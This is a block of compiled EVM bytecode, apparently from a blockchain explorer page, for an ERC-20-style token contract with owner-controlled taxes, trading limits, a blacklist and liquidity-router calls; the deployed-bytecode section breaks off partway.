910390a35b50565b60008161362a5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b815260040161369196959493929190615c20565b60606040518083038185885af11580156136af573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906136d49190615c96565b50505050505050565b6136e681613415565b6000600267ffffffffffffffff81111561370357613702615ce9565b5b6040519080825280602002602001820160405280156137315781602001602082028036833780820191505090505b5090503081600081518110613749576137486153ea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16816001815181106137ba576137b96153ea565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613858959493929190615dd6565b600060405180830381600087803b15801561387257600080fd5b505af1158015613886573d6000803e3d6000fd5b505050505050565b60006007600e9054906101000a900461ffff166007600c9054906101000a900461ffff166007600a9054906101000a900461ffff16600760089054906101000a900461ffff166138de9190615777565b6138e89190615777565b6138f29190615777565b90506000600760089054906101000a900461ffff1661ffff1611156139a957600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600760089054906101000a900461ffff1661ffff16856139729190614e04565b61397c91906155d9565b9081150290604051600060405180830381858888f193505050501580156139a7573d6000803e3d6000fd5b505b60006007600a9054906101000a900461ffff1661ffff161115613a5e57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff166007600a9054906101000a900461ffff1661ffff1685613a279190614e04565b613a3191906155d9565b9081150290604051600060405180830381858888f19350505050158015613a5c573d6000803e3d6000fd5b505b60006007600c9054906101000a900461ffff1661ffff161115613b1357600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff166007600c9054906101000a900461ffff1661ffff1685613adc9190614e04565b613ae691906155d9565b9081150290604051600060405180830381858888f19350505050158015613b11573d6000803e3d6000fd5b505b60006007600e9054906101000a900461ffff1661ffff161115613bc857600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff166007600e9054906101000a900461ffff1661ffff1685613b919190614e04565b613b9b91906155d9565b9081150290604051600060405180830381858888f19350505050158015613bc6573d6000803e3d6000fd5b505b5050565b6009600a613bda9190614db9565b6127106009600a613beb9190614db9565b6305f5e100613bfa9190614e04565b6032613c069190614e04565b613c1091906155d9565b613c1a91906152ff565b6008819055506009600a613c2e9190614db9565b6127106009600a613c3f9190614db9565b6305f5e100613c4e9190614e04565b6032613c5a9190614e04565b613c6491906155d9565b613c6e91906152ff565b600981905550600a600760036101000a81548160ff021916908360ff1602179055506014600760046101000a81548160ff021916908360ff160217905550600a600760056101000a81548160ff021916908360ff160217905550601b43613cd591906152ff565b600581905550602443613ce891906152ff565b601381905550565b6001601660006101000a81548160ff0219169083151502179055506000613d1630611a48565b9050600a548110158015613d2e5750613d2d6133f9565b5b15613e6957600b548110613d4257600b5490505b60006002600760109054906101000a900461ffff1661ffff16600760069054906101000a900461ffff1661ffff1684613d7b9190614e04565b613d8591906155d9565b613d8f91906155d9565b905060008183613d9f9190614f93565b90506009600a613daf9190614db9565b8110613e4d576000479050613dc3826136dd565b60008147613dd19190614f93565b90506000600760069054906101000a900461ffff1661ffff161115613e4a576000600760109054906101000a900461ffff1661ffff16600760069054906101000a900461ffff1661ffff1683613e279190614e04565b613e3191906155d9565b9050613e3c85613415565b613e48858260006135ff565b505b50505b60004790506000811115613e6557613e648161388e565b5b5050505b506000601660006101000a81548160ff021916908315150217905550565b60008060019050613e966133f9565b8015613eec5750601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015613f425750601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561400b57600854831115613f5a576000905061400a565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613fff575060095483600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ffd91906152ff565b115b1561400957600090505b5b5b809150509392505050565b6000806140216133f9565b15806140765750601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806140ca5750601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156140d8576000905061420d565b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561415b576064600760039054906101000a900460ff1660ff168461414a9190614e04565b61415491906155d9565b905061420c565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156141de576064600760049054906101000a900460ff1660ff16846141cd9190614e04565b6141d791906155d9565b905061420b565b6064600760059054906101000a900460ff1660ff16846141fe9190614e04565b61420891906155d9565b90505b5b5b809150509392505050565b82805461422490614c26565b90600052602060002090601f016020900481019282614246576000855561428d565b82601f1061425f57805160ff191683800117855561428d565b8280016001018555821561428d579182015b8281111561428c578251825591602001919060010190614271565b5b50905061429a919061429e565b5090565b5b808211156142b757600081600090555060010161429f565b5090565b600081519050919050565b600082825260208201905092915050565b60005b838110156142f55780820151818401526020810190506142da565b83811115614304576000848401525b50505050565b6000601f19601f8301169050919050565b6000614326826142bb565b61433081856142c6565b93506143408185602086016142d7565b6143498161430a565b840191505092915050565b6000602082019050818103600083015261436e818461431b565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006143ab82614380565b9050919050565b6143bb816143a0565b81146143c657600080fd5b50565b6000813590506143d8816143b2565b92915050565b6000819050919050565b6143f1816143de565b81146143fc57600080fd5b50565b60008135905061440e816143e8565b92915050565b6000806040838503121561442b5761442a614376565b5b6000614439858286016143c9565b925050602061444a858286016143ff565b9150509250929050565b60008115159050919050565b61446981614454565b82525050565b60006020820190506144846000830184614460565b92915050565b614493816143de565b82525050565b60006020820190506144ae600083018461448a565b92915050565b6144bd81614454565b81146144c857600080fd5b50565b6000813590506144da816144b4565b92915050565b6000806000606084860312156144f9576144f8614376565b5b6000614507868287016143c9565b9350506020614518868287016144cb565b9250506040614529868287016144cb565b9150509250925092565b60008060006060848603121561454c5761454b614376565b5b600061455a868287016143c9565b935050602061456b868287016143c9565b925050604061457c868287016143ff565b9150509250925092565b600060ff82169050919050565b61459c81614586565b82525050565b600061ffff82169050919050565b6145b9816145a2565b82525050565b6000610120820190506145d5600083018c614593565b6145e2602083018b614593565b6145ef604083018a614593565b6145fc6060830189614593565b61460960808301886145b0565b61461660a08301876145b0565b61462360c08301866145b0565b61463060e08301856145b0565b61463e6101008301846145b0565b9a9950505050505050505050565b60006020820190506146616000830184614593565b92915050565b60006020828403121561467d5761467c614376565b5b600061468b848285016143c9565b91505092915050565b60006060820190506146a96000830186614460565b6146b6602083018561448a565b6146c360408301846145b0565b949350505050565b600080600080608085870312156146e5576146e4614376565b5b60006146f3878288016143c9565b9450506020614704878288016143c9565b9350506040614715878288016143c9565b9250506060614726878288016143c9565b91505092959194509250565b60006020828403121561474857614747614376565b5b6000614756848285016143ff565b91505092915050565b6000608082019050614774600083018761448a565b614781602083018661448a565b61478e604083018561448a565b61479b606083018461448a565b95945050505050565b600080604083850312156147bb576147ba614376565b5b60006147c9858286016144cb565b92505060206147da858286016144cb565b9150509250929050565b60006040820190506147f96000830185614460565b6148066020830184614460565b9392505050565b600080fd5b600080fd5b600080fd5b60008083601f8401126148325761483161480d565b5b8235905067ffffffffffffffff81111561484f5761484e614812565b5b60208301915083602082028301111561486b5761486a614817565b5b9250929050565b6000806020838503121561488957614888614376565b5b600083013567ffffffffffffffff8111156148a7576148a661437b565b5b6148b38582860161481c565b92509250509250929050565b6148c8816145a2565b81146148d357600080fd5b50565b6000813590506148e5816148bf565b92915050565b6000806040838503121561490257614901614376565b5b6000614910858286016148d6565b9250506020614921858286016148d6565b9150509250929050565b614934816143a0565b82525050565b600060c08201905061494f600083018961492b565b61495c602083018861492b565b614969604083018761492b565b614976606083018661492b565b614983608083018561492b565b61499060a083018461492b565b979650505050505050565b600080600080600060a086880312156149b7576149b6614376565b5b60006149c5888289016148d6565b95505060206149d6888289016148d6565b94505060406149e7888289016148d6565b93505060606149f8888289016148d6565b9250506080614a09888289016148d6565b9150509295509295909350565b60008060408385031215614a2d57614a2c614376565b5b6000614a3b858286016143c9565b9250506020614a4c858286016143c9565b9150509250929050565b600063ffffffff82169050919050565b614a6f81614a56565b8114614a7a57600080fd5b50565b600081359050614a8c81614a66565b92915050565b60008060008060808587031215614aac57614aab614376565b5b6000614aba87828801614a7d565b9450506020614acb87828801614a7d565b9350506040614adc87828801614a7d565b9250506060614aed87828801614a7d565b91505092959194509250565b6000614b0482614380565b9050919050565b614b1481614af9565b8114614b1f57600080fd5b50565b600081359050614b3181614b0b565b92915050565b600060208284031215614b4d57614b4c614376565b5b6000614b5b84828501614b22565b91505092915050565b614b6d81614586565b8114614b7857600080fd5b50565b600081359050614b8a81614b64565b92915050565b60008060008060808587031215614baa57614ba9614376565b5b6000614bb887828801614b7b565b9450506020614bc987828801614b7b565b9350506040614bda87828801614b7b565b9250506060614beb878288016144cb565b91505092959194509250565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680614c3e57607f821691505b602082108103614c5157614c50614bf7565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115614cdd57808604811115614cb957614cb8614c57565b5b6001851615614cc85780820291505b8081029050614cd685614c86565b9450614c9d565b94509492505050565b600082614cf65760019050614db2565b81614d045760009050614db2565b8160018114614d1a5760028114614d2457614d53565b6001915050614db2565b60ff841115614d3657614d35614c57565b5b8360020a915084821115614d4d57614d4c614c57565b5b50614db2565b5060208310610133831016604e8410600b8410161715614d885782820a905083811115614d8357614d82614c57565b5b614db2565b614d958484846001614c93565b92509050818404811115614dac57614dab614c57565b5b81810290505b9392505050565b6000614dc4826143de565b9150614dcf83614586565b9250614dfc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484614ce6565b905092915050565b6000614e0f826143de565b9150614e1a836143de565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614e5357614e52614c57565b5b828202905092915050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000614eba602a836142c6565b9150614ec582614e5e565b604082019050919050565b60006020820190508181036000830152614ee981614ead565b9050919050565b6000606082019050614f05600083018661492b565b614f126020830185614460565b614f1f6040830184614460565b949350505050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b6000614f5d6010836142c6565b9150614f6882614f27565b602082019050919050565b60006020820190508181036000830152614f8c81614f50565b9050919050565b6000614f9e826143de565b9150614fa9836143de565b925082821015614fbc57614fbb614c57565b5b828203905092915050565b6000608082019050614fdc600083018761492b565b614fe9602083018661492b565b614ff6604083018561492b565b615003606083018461492b565b95945050505050565b7f74726164696e6720616c7265616479206f70656e000000000000000000000000600082015250565b60006150426014836142c6565b915061504d8261500c565b602082019050919050565b6000602082019050818103600083015261507181615035565b9050919050565b7f4c5020616c726561647920696e697469616c697a656400000000000000000000600082015250565b60006150ae6016836142c6565b91506150b982615078565b602082019050919050565b600060208201905081810360008301526150dd816150a1565b9050919050565b7f6574682063616e6e6f7420626520300000000000000000000000000000000000600082015250565b600061511a600f836142c6565b9150615125826150e4565b602082019050919050565b600060208201905081810360008301526151498161510d565b9050919050565b60008151905061515f816143b2565b92915050565b60006020828403121561517b5761517a614376565b5b600061518984828501615150565b91505092915050565b7f6e6f7420656e6f75676820657468000000000000000000000000000000000000600082015250565b60006151c8600e836142c6565b91506151d382615192565b602082019050919050565b600060208201905081810360008301526151f7816151bb565b9050919050565b7f6e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006152346009836142c6565b915061523f826151fe565b602082019050919050565b6000602082019050818103600083015261526381615227565b9050919050565b600060408201905061527f600083018561492b565b61528c602083018461492b565b9392505050565b7f546f6b656e2062616c616e636520746f6f206c6f770000000000000000000000600082015250565b60006152c96015836142c6565b91506152d482615293565b602082019050919050565b600060208201905081810360008301526152f8816152bc565b9050919050565b600061530a826143de565b9150615315836143de565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561534a57615349614c57565b5b828201905092915050565b600060408201905061536a600083018561492b565b615377602083018461448a565b9392505050565b7f4e6f20746f6b656e730000000000000000000000000000000000000000000000600082015250565b60006153b46009836142c6565b91506153bf8261537e565b602082019050919050565b600060208201905081810360008301526153e3816153a7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b600080fd5b600080fd5b6000808335600160200384360303811261544557615444615419565b5b80840192508235915067ffffffffffffffff8211156154675761546661541e565b5b60208301925060018202360383131561548357615482615423565b5b509250929050565b7f4445000000000000000000000000000000000000000000000000000000000000815250565b600081905092915050565b82818337600083830152505050565b60006154d783856154b1565b93506154e48385846154bc565b82840190509392505050565b60006154fb8261548b565b60028201915061550c8284866154cb565b91508190509392505050565b7f4a75730000000000000000000000000000000000000000000000000000000000815250565b7f2034204a6f000000000000000000000000000000000000000000000000000000815250565b600061556f82615518565b6003820191506155808286886154cb565b915061558b8261553e565b60058201915061559c8284866154cb565b915081905095945050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006155e4826143de565b91506155ef836143de565b9250826155ff576155fe6155aa565b5b828204905092915050565b7f7478206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b60006156406010836142c6565b915061564b8261560a565b602082019050919050565b6000602082019050818103600083015261566f81615633565b9050919050565b7f77616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b60006156ac6014836142c6565b91506156b782615676565b602082019050919050565b600060208201905081810360008301526156db8161569f565b9050919050565b60006040820190506156f7600083018561448a565b615704602083018461448a565b9392505050565b7f4c50206e6f7420696e697469616c697a65640000000000000000000000000000600082015250565b60006157416012836142c6565b915061574c8261570b565b602082019050919050565b6000602082019050818103600083015261577081615734565b9050919050565b6000615782826145a2565b915061578d836145a2565b92508261ffff038211156157a4576157a3614c57565b5b828201905092915050565b600060a0820190506157c460008301886145b0565b6157d160208301876145b0565b6157de60408301866145b0565b6157eb60608301856145b0565b6157f860808301846145b0565b9695505050505050565b6000819050919050565b600061582761582261581d84614380565b615802565b614380565b9050919050565b60006158398261580c565b9050919050565b600061584b8261582e565b9050919050565b61585b81615840565b82525050565b60006020820190506158766000830184615852565b92915050565b7f53656c6c20746178206d757374206265203e2062757920746178000000000000600082015250565b60006158b2601a836142c6565b91506158bd8261587c565b602082019050919050565b600060208201905081810360008301526158e1816158a5565b9050919050565b60006158f382614586565b91506158fe83614586565b92508160ff048311821515161561591857615917614c57565b5b828202905092915050565b600061592e82614586565b915061593983614586565b92508260ff0382111561594f5761594e614c57565b5b828201905092915050565b7f4176672074617820746f6f206869676800000000000000000000000000000000600082015250565b60006159906010836142c6565b915061599b8261595a565b602082019050919050565b600060208201905081810360008301526159bf81615983565b9050919050565b7f54617820746f6f20686967680000000000000000000000000000000000000000600082015250565b60006159fc600c836142c6565b9150615a07826159c6565b602082019050919050565b60006020820190508181036000830152615a2b816159ef565b9050919050565b6000608082019050615a476000830187614593565b615a546020830186614593565b615a616040830185614593565b615a6e6060830184614460565b95945050505050565b6000615a82826145a2565b915061ffff8203615a9657615a95614c57565b5b600182019050919050565b7f5a65726f2061646472657373206e6f7420616c6c6f7765640000000000000000600082015250565b6000615ad76018836142c6565b9150615ae282615aa1565b602082019050919050565b60006020820190508181036000830152615b0681615aca565b9050919050565b7f626c61636b6c6973746564000000000000000000000000000000000000000000600082015250565b6000615b43600b836142c6565b9150615b4e82615b0d565b602082019050919050565b60006020820190508181036000830152615b7281615b36565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000615baf6011836142c6565b9150615bba82615b79565b602082019050919050565b60006020820190508181036000830152615bde81615ba2565b9050919050565b6000819050919050565b6000615c0a615c05615c0084615be5565b615802565b6143de565b9050919050565b615c1a81615bef565b82525050565b600060c082019050615c35600083018961492b565b615c42602083018861448a565b615c4f6040830187615c11565b615c5c6060830186615c11565b615c69608083018561492b565b615c7660a083018461448a565b979650505050505050565b600081519050615c90816143e8565b92915050565b600080600060608486031215615caf57615cae614376565b5b6000615cbd86828701615c81565b9350506020615cce86828701615c81565b9250506040615cdf86828701615c81565b9150509250925092565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b615d4d816143a0565b82525050565b6000615d5f8383615d44565b60208301905092915050565b6000602082019050919050565b6000615d8382615d18565b615d8d8185615d23565b9350615d9883615d34565b8060005b83811015615dc9578151615db08882615d53565b9750615dbb83615d6b565b925050600181019050615d9c565b5085935050505092915050565b600060a082019050615deb600083018861448a565b615df86020830187615c11565b8181036040830152615e0a8186615d78565b9050615e19606083018561492b565b615e26608083018461448a565b969550505050505056fea2646970667358221220cb6e3785b66cae6cc6f0484a6b7899653f354df7651eb8e92565bab0a7279c7c64736f6c634300080d0033

Deployed Bytecode

0x6080604052600436106101a05760003560e01c80638c194bd9116100ec578063db7a46051161008a578063e4dbc45b11610064578063e4dbc45b146105f6578063f2fde38b1461061f578063fc38e48114610648578063ffb54a9914610671576101a7565b8063db7a460514610560578063dc55f5c714610590578063dd62ed3e146105b9576101a7565b80639f49c80e116100c65780639f49c80e146104ba578063a9059cbb146104e3578063b142180314610520578063c9567bf914610549576101a7565b80638c194bd914610428578063931b68ea1461045157806395d89b411461048f576101a7565b8063313ce567116101595780636969c1a4116101335780636969c1a41461036b5780636d1b229d146103945780636f89e409146103bd57806370a08231146103eb576101a7565b8063313ce567146102d857806358d2b4a514610303578063677ef84614610342576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806318839bc31461023f57806323b872dd146102685780632b38400e146102a5576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161069c565b6040516101ce9190614354565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190614414565b61072e565b60405161020b919061446f565b60405180910390f35b34801561022057600080fd5b5061022961088d565b6040516102369190614499565b60405180910390f35b34801561024b57600080fd5b50610266600480360381019061026191906144e0565b6108b1565b005b34801561027457600080fd5b5061028f600480360381019061028a9190614533565b610a2d565b60405161029c919061446f565b60405180910390f35b3480156102b157600080fd5b506102ba610c36565b6040516102cf999897969594939291906145bf565b60405180910390f35b3480156102e457600080fd5b506102ed610cf6565b6040516102fa919061464c565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190614667565b610cff565b60405161033993929190614694565b60405180910390f35b34801561034e57600080fd5b50610369600480360381019061036491906146cb565b610db1565b005b34801561037757600080fd5b50610392600480360381019061038d9190614732565b6110e6565b005b3480156103a057600080fd5b506103bb60048036038101906103b69190614732565b611889565b005b3480156103c957600080fd5b506103d2611a28565b6040516103e2949392919061475f565b60405180910390f35b3480156103f757600080fd5b50610412600480360381019061040d9190614667565b611a48565b60405161041f9190614499565b60405180910390f35b34801561043457600080fd5b5061044f600480360381019061044a91906147a4565b611a91565b005b34801561045d57600080fd5b5061047860048036038101906104739190614667565b611b94565b6040516104869291906147e4565b60405180910390f35b34801561049b57600080fd5b506104a4611c3a565b6040516104b19190614354565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc9190614872565b611ccc565b005b3480156104ef57600080fd5b5061050a60048036038101906105059190614414565b611f17565b604051610517919061446f565b60405180910390f35b34801561052c57600080fd5b50610547600480360381019061054291906148eb565b611f73565b005b34801561055557600080fd5b5061055e61216e565b005b34801561056c57600080fd5b506105756122df565b6040516105879695949392919061493a565b60405180910390f35b34801561059c57600080fd5b506105b760048036038101906105b2919061499b565b6123cc565b005b3480156105c557600080fd5b506105e060048036038101906105db9190614a16565b6125ca565b6040516105ed9190614499565b60405180910390f35b34801561060257600080fd5b5061061d60048036038101906106189190614a92565b612651565b005b34801561062b57600080fd5b5061064660048036038101906106419190614b37565b6127bc565b005b34801561065457600080fd5b5061066f600480360381019061066a9190614b90565b6128c4565b005b34801561067d57600080fd5b50610686612b7a565b604051610693919061446f565b60405180910390f35b6060600180546106ab90614c26565b80601f01602080910402602001604051908101604052809291908181526020018280546106d790614c26565b80156107245780601f106106f957610100808354040283529160200191610724565b820191906000526020600020905b81548152906001019060200180831161070757829003601f168201915b5050505050905090565b60004360135411801561078b5750601460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561079d5761079c33436001612bba565b5b81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161087b9190614499565b60405180910390a36001905092915050565b60006009600a61089d9190614db9565b6305f5e1006108ac9190614e04565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461093f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093690614ed0565b60405180910390fd5b81601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507fd1210f82d8da3a4173d7d74f8a9f5c81b8f83b77529ac2684baff199241f4ed0838383604051610a2093929190614ef0565b60405180910390a1505050565b6000610a37612ce4565b610a76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6d90614f73565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610c225781600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ba19190614f93565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610c2d848484612d61565b90509392505050565b6000806000806000806000806000600760029054906101000a900460ff16600760039054906101000a900460ff16600760049054906101000a900460ff16600760059054906101000a900460ff16600760069054906101000a900461ffff16600760089054906101000a900461ffff166007600a9054906101000a900461ffff166007600c9054906101000a900461ffff166007600e9054906101000a900461ffff16985098509850985098509850985098509850909192939495969798565b60006009905090565b6000806000806000601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610d5157600190505b80601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600760009054906101000a900461ffff16935093509350509193909250565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e3690614ed0565b60405180910390fd5b83600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f7e43be5031ac589eb5c09ce251f1670365b5fb2490f1705900323eeabf10ca51848484846040516110d89493929190614fc7565b60405180910390a150505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611174576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116b90614ed0565b60405180910390fd5b61117c6133f9565b156111bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b390615058565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461124d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611244906150c4565b60405180910390fd5b60008111611290576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128790615130565b60405180910390fd5b6009600a61129e9190614db9565b6305f5e1006112ad9190614e04565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460405161138d9190614499565b60405180910390a36001601460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160146000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561154d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115719190615165565b601660016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000479050818110156115f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f0906151de565b60405180910390fd5b600061160430611a48565b905060008111611649576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116409061524a565b60405180910390fd5b6000601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156116b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116dc9190615165565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b815260040161173892919061526a565b6020604051808303816000875af1158015611757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061177b9190615165565b905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061187782613415565b611883828560006135ff565b50505050565b600061189433611a48565b9050808211156118d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118d0906152df565b60405180910390fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546119289190614f93565b9250508190555081600360008073ffffffffffffffffffffffffffffffff